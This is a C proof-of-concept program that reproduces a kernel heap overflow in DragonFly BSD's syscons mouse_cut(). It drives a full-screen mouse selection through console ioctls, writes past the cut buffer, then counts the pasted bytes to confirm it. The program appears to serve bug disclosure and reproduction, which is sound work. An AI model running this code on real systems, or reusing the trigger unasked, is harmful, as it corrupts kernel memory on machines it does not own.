/* * DF-1702 - syscons mouse_cut heap overflow - REAL in-guest PoC * * sys/dev/misc/syscons/scmouse.c:mouse_cut() writes one '\r' per selected * line plus a trailing '\0' into the global cut_buffer without accounting * for those bytes in the allocation (sc_alloc_cut_buffer sizes it * xsize*ysize+1). * * Full-screen selection on the 40x25 text mode (mode 23): * S = 40*25 = 1000 cells, cut_buffer = kmalloc(1001) * DragonFly slab zoneindex() rounds 1001 -> 1024-byte chunk * a full-screen all-non-space cut writes: * chars 0 .. 999+r (r = #rows-1 inserted '\r' resets, grows by 1/row) * '\r' at [1000+24] = [1024] <- 1 byte past the 1024-byte chunk * '\0' at [1000+25] = [1025] <- 2 bytes past the 1024-byte chunk * * Userspace-visible proof: mouse_paste() strlen()s the buffer and injects * it into the tty. A paste longer than xsize*ysize (the nominal capacity) * proves bytes beyond the requested allocation were written. * * Build: cc -O -o df1702 df1702.c * Run as a user with rw access to the active console tty (root over ssh * opening /dev/ttyv0, or any console-login user on their controlling tty). */ #include #include #include #include #include #include #include #include #include #include #include #include static int mi_ioctl(int fd, int operation, int a, int b) { mouse_info_t mi; memset(&mi, 0, sizeof(mi)); mi.operation = operation; mi.u.data.x = a; mi.u.data.y = b; return ioctl(fd, CONS_MOUSECTL, &mi); } static int btn_ioctl(int fd, int id, int value) { mouse_info_t mi; memset(&mi, 0, sizeof(mi)); mi.operation = MOUSE_BUTTON_EVENT; mi.u.event.id = id; mi.u.event.value = value; return ioctl(fd, CONS_MOUSECTL, &mi); } static int readall(int fd, char *buf, int bufsz, int ms) { int total = 0, n; fd_set rfds; struct timeval tv; for (;;) { FD_ZERO(&rfds); FD_SET(fd, &rfds); tv.tv_sec = ms / 1000; tv.tv_usec = (ms % 1000) * 1000; n = select(fd + 1, &rfds, NULL, NULL, &tv); if (n <= 0) return total; n = read(fd, buf + total, bufsz - total); if (n <= 0) return total; total += n; if (total >= bufsz) return total; } } int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/ttyv0"; int mode = (argc > 2) ? atoi(argv[2]) : 23; /* 23 = 40x25 text */ int fd, i, total, cols, rows, nominal; int best_cr = 0; struct termios ot, t; char buf[2048], out[65536]; fd = open(dev, O_RDWR | O_NOCTTY); if (fd < 0) { perror("open"); exit(1); } setvbuf(stdout, NULL, _IOLBF, 0); tcgetattr(fd, &ot); t = ot; cfmakeraw(&t); tcsetattr(fd, TCSAFLUSH, &t); /* derive geometry for the report. argv[5] optionally overrides the * assumed cut_buffer allocation size (the FIX sizes it * xsize*ysize + ysize + 1; the vulnerable code xsize*ysize + 1). */ cols = (mode == 23) ? 40 : 80; rows = (mode == 23) ? 25 : 25; if (argc > 3) cols = atoi(argv[3]); if (argc > 4) rows = atoi(argv[4]); nominal = (argc > 5) ? atoi(argv[5]) : cols * rows; printf("[*] dev=%s mode=%d geometry=%dx%d assumed_alloc=%d bytes " "(vulnerable sizing %d)\n", dev, mode, cols, rows, nominal + 1, cols * rows + 1); /* 1. switch to the target text mode (fresh M_ZERO vtb) */ if (ioctl(fd, CONS_SET, &mode) < 0) { perror("CONS_SET"); exit(1); } usleep(300000); /* 2. fill everything but the last cell with 'A' (last cell keeps the * freshly-allocated NUL char, which IS_SPACE_CHAR() treats as * non-space - and even a space there still crosses the chunk * boundary by one byte with the '\0') */ memset(buf, 'A', sizeof(buf)); { int done = 0, chunk = cols, n, poll; scrshot_t shot; u_short sbuf[4096]; /* wait until the emulator really rendered the fill: poll the * bottom-left cell via CONS_SCRSHOT (vtb mirrors the screen) */ for (poll = 0; poll < 100; poll++) { shot.xsize = cols; shot.ysize = rows; shot.buf = sbuf; if (ioctl(fd, CONS_SCRSHOT, &shot) == 0 && ((sbuf[(rows - 1) * cols] & 0xff) == 'A') && ((sbuf[(rows - 1) * cols + cols - 2] & 0xff) == 'A')) break; if (done < nominal - 1) { if (nominal - 1 - done < chunk) chunk = nominal - 1 - done; n = write(fd, buf, chunk); if (n > 0) done += n; } usleep(50000); } printf("[*] filled %d screen cells (vtb verified after %d polls)\n", done, poll); } usleep(300000); /* 3. make the mouse visible */ mi_ioctl(fd, MOUSE_SHOW, 0, 0); usleep(300000); /* let scrn_update() draw the pointer */ /* 4. move to the top-left, press button1 (start cut) */ mi_ioctl(fd, MOUSE_MOVEABS, 0, 0); usleep(100000); if (btn_ioctl(fd, MOUSE_BUTTON1DOWN, 1) < 0) perror("btn press"); /* 5. drag to the bottom-right pixel: full-screen selection -> * mouse_cut() runs the overflowing loop */ usleep(100000); mi_ioctl(fd, MOUSE_MOVEABS, cols * 8 - 1, rows * 16 - 1); usleep(100000); { mouse_info_t gi; memset(&gi, 0, sizeof(gi)); gi.operation = MOUSE_GETINFO; if (ioctl(fd, CONS_MOUSECTL, &gi) == 0) printf("[*] mouse at pixel (%d,%d) after drag\n", gi.u.data.x, gi.u.data.y); } /* 6. release button1 */ btn_ioctl(fd, MOUSE_BUTTON1DOWN, 0); usleep(100000); /* 7. paste the cut buffer into this tty and count the bytes. * The tty raw-input queue is only ~1024 bytes, so a concurrent * reader drains it while sc_paste() injects; otherwise the count * is truncated at the queue high-water mark. Repeat the * cut+paste cycle and keep the maximum observed delivery. */ { int pfd[2], bfd[2], got, attempt; int res[2]; pid_t cpid; if (pipe(pfd) < 0 || pipe(bfd) < 0) perror("pipe"); tcflush(fd, TCIFLUSH); cpid = fork(); if (cpid == 0) { /* child: drain the tty while the paste is injected */ int n, t = 0, cr = 0, i, outres[2]; char b; close(pfd[0]); close(bfd[1]); for (attempt = 0; attempt < 25; attempt++) { t = 0; cr = 0; if (read(bfd[0], &b, 1) != 1) /* wait for go */ _exit(9); for (;;) { fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(fd, &rfds); tv.tv_sec = 0; tv.tv_usec = 400000; if (select(fd + 1, &rfds, NULL, NULL, &tv) <= 0) break; /* idle: done with this paste */ n = read(fd, out, sizeof(out)); if (n <= 0) break; for (i = 0; i < n; i++) if (out[i] == '\r') cr++; t += n; } outres[0] = t; outres[1] = cr; if (write(pfd[1], outres, sizeof(outres)) != sizeof(outres)) _exit(9); } _exit(0); } close(pfd[1]); close(bfd[0]); for (attempt = 0; attempt < 25; attempt++) { char go = 1; usleep(50000); tcflush(fd, TCIFLUSH); /* redo the full-screen cut */ mi_ioctl(fd, MOUSE_MOVEABS, 0, 0); usleep(30000); btn_ioctl(fd, MOUSE_BUTTON1DOWN, 1); usleep(30000); mi_ioctl(fd, MOUSE_MOVEABS, cols * 8 - 1, rows * 16 - 1); usleep(30000); btn_ioctl(fd, MOUSE_BUTTON1DOWN, 0); usleep(30000); /* signal the reader, then paste */ if (write(bfd[1], &go, 1) != 1) break; usleep(2000); /* child is now blocked in read() */ btn_ioctl(fd, MOUSE_BUTTON2DOWN, 1); { fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(pfd[0], &rfds); tv.tv_sec = 2; tv.tv_usec = 0; if (select(pfd[0] + 1, &rfds, NULL, NULL, &tv) > 0) got = read(pfd[0], res, sizeof(res)); else got = -1; } if (got == sizeof(res)) { if (res[0] > total) { total = res[0]; best_cr = res[1]; } if (res[0] >= cols * rows + rows - 1) break; /* full delivery observed */ } } kill(cpid, SIGKILL); /* unblock the barrier reader if any */ wait(NULL); close(pfd[0]); close(bfd[1]); } printf("[*] best paste delivery: %d bytes, %d '\\r' line breaks " "(over up to 25 attempts)\n", total, best_cr); printf("[*] pasted %d bytes back from the tty\n", total); if (total <= 0) { printf("[-] no paste came back (mouse not visible? moused running?)\n"); goto out; } if (total > nominal) { printf("[+] RESULT: OVERFLOW REPRODUCED - mouse_cut wrote and pasted " "%d bytes into a %d-byte cut_buffer request (%d bytes beyond " "the requested allocation size).\n", total, nominal + 1, total - nominal); printf("[+] The %d delivered bytes require cut_buffer[0..%d] to be " "populated and the terminating NUL to be written at index " "%d - provably past the kmalloc'd size.\n", total, total - 1, total); } else { printf("[-] RESULT: paste within nominal capacity (%d <= %d) - " "no overflow observed\n", total, nominal); } out: /* restore 80x25 and the tty */ mode = 24; ioctl(fd, CONS_SET, &mode); tcsetattr(fd, TCSAFLUSH, &ot); mi_ioctl(fd, MOUSE_HIDE, 0, 0); return (total > nominal) ? 0 : 1; }